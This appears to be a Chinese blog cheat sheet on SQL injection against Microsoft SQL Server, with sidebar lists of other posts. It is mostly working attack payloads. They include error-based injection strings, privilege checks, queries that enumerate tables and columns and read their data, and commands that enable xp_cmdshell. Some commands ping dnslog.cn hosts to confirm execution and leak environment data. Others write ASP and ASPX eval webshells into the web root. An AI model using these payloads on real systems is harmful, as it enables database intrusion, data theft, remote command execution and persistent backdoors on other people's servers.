MSsql数据库 sql注入

  • 和mysql不同;每个数据库都有自己的信息总结表
  • 四个系统数据库
    • master
      • sysdatabases :所有数据库信息
        • name :所有数据库名
      • sysobjects :数据库所有对象的信息
      • syscolumns :字段信息
      • 固定字段名
        • name 对象名
        • id 对象id
        • xtype 对象类型代码
          • xtype='U' 用户创建的表
          • xtype='S' 系统表
    • model
      • sysobjects
      • syscolumns
    • msdb
      • sysobjects
      • syscolumns
    • tempdb
      • sysobjects
      • syscolumns
  • 用户自己创建的数据库也会自动携带下面字段
    • sysobjects
    • syscolumns
  • 常用函数
    • db_name() :数据库名
    • host_name() :主机名
    • current_user :返回数据库当前的用户名
    • user :用户
    • substring() :截取函数;不能用substr()
    • @@verison :查看数据库版本
    • char() :ascii码转字符
    • cast(text as type() :字符类型转换;转化失败就会以text结果显示在页面上
    • object_id() :根据表名返回数据库表名id
    • object_name() :根据id返回数据库表名
    • col_name(object_id,column_id) :返回指定表中指定字段的名称
    • col_name(object_id('users'),2)
  • 调用表名
    • 数据库名.用户名.表名
  • 报错注入
    • 'or 1=convert(int,@@version)--
    • 1-user
    • 1/user
    • convert(int,user)
    • db_name()
  • 注入流程
    • 判断权限
      • 权限:sa 、db_owner 、public
      • and 1=(select IS_SRVROLEMEMBER('sysadmin')) --
      • and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
      • and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
      • and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
      • and 1=(select IS_MEMBER('db_owner'));-
    • 获取当前数据库
      • and 1=(select db_name()) --
    • 获取当前数据库的表名
      • and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))) --
    • 获取当前数据库中表的所有字段
      • and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
    • 读取内容
      • and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
  • 命令执行
    • 开启xp_cmdshell,0为关闭,1为开启
      • ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
    • 关闭xp_cmdshell
      • ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; --
    • 执行ping判断是否能执行xp_cmdshell和服务器是否通外网
      • ;exec master..xp_cmdshell "ping teki6x.dnslog.cn" –
      • ;execute('xp_cmdshell "“’)
      • ;exec xp_cmdshell ' ping%20%25os%25.4mt18t.dnslog.cn '
    • 写入一句话木马;需要知道网站根目录
      • asp
        • ;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> > C:\Inetpub\wwwroot\test.asp' --
      • aspx
        • ;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> > C:\Inetpub\wwwroot\test.aspx' --

相关推荐

  1. MSsql数据库 sql注入

    2024-04-09 22:40:02       37 阅读
  2. MySQL SQL 注入

    2024-04-09 22:40:02       60 阅读
  3. SQL注入数据库基础)

    2024-04-09 22:40:02       43 阅读
  4. MySQL安全(二)SQL注入

    2024-04-09 22:40:02       55 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-09 22:40:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-09 22:40:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-09 22:40:02       82 阅读
  4. Python语言-面向对象

    2024-04-09 22:40:02       91 阅读

热门阅读

  1. 进程替换exec系列介绍

    2024-04-09 22:40:02       37 阅读
  2. Linux C++ 022-函数模板

    2024-04-09 22:40:02       34 阅读
  3. python把视频按帧转化为图片并保存

    2024-04-09 22:40:02       35 阅读
  4. Linux下I2C驱动框架:I2C 设备驱动

    2024-04-09 22:40:02       42 阅读
  5. 【Linux篇】makefile一次形成两个可执行

    2024-04-09 22:40:02       34 阅读
  6. Kubernetes统一管理vGPU:原理、实现与挑战

    2024-04-09 22:40:02       40 阅读
  7. 大模型从入门到应用——OpenAI基础调用

    2024-04-09 22:40:02       39 阅读
  8. 程序员如何搞副业?

    2024-04-09 22:40:02       38 阅读
  9. Go语言支持重载吗?如何实现重写?

    2024-04-09 22:40:02       41 阅读
  10. @Transactional 详解

    2024-04-09 22:40:02       35 阅读
  11. 雷军给年轻人的五点建议

    2024-04-09 22:40:02       28 阅读